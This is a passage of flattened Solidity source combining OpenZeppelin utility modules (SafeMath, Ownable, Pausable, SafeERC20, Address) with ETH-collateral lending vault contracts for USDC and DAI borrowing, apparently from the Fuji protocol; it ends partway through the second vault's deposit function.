function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library UniERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function uniTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function uniApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDC is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
(_flashLoanAmount).mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of USDC in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHDAI is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
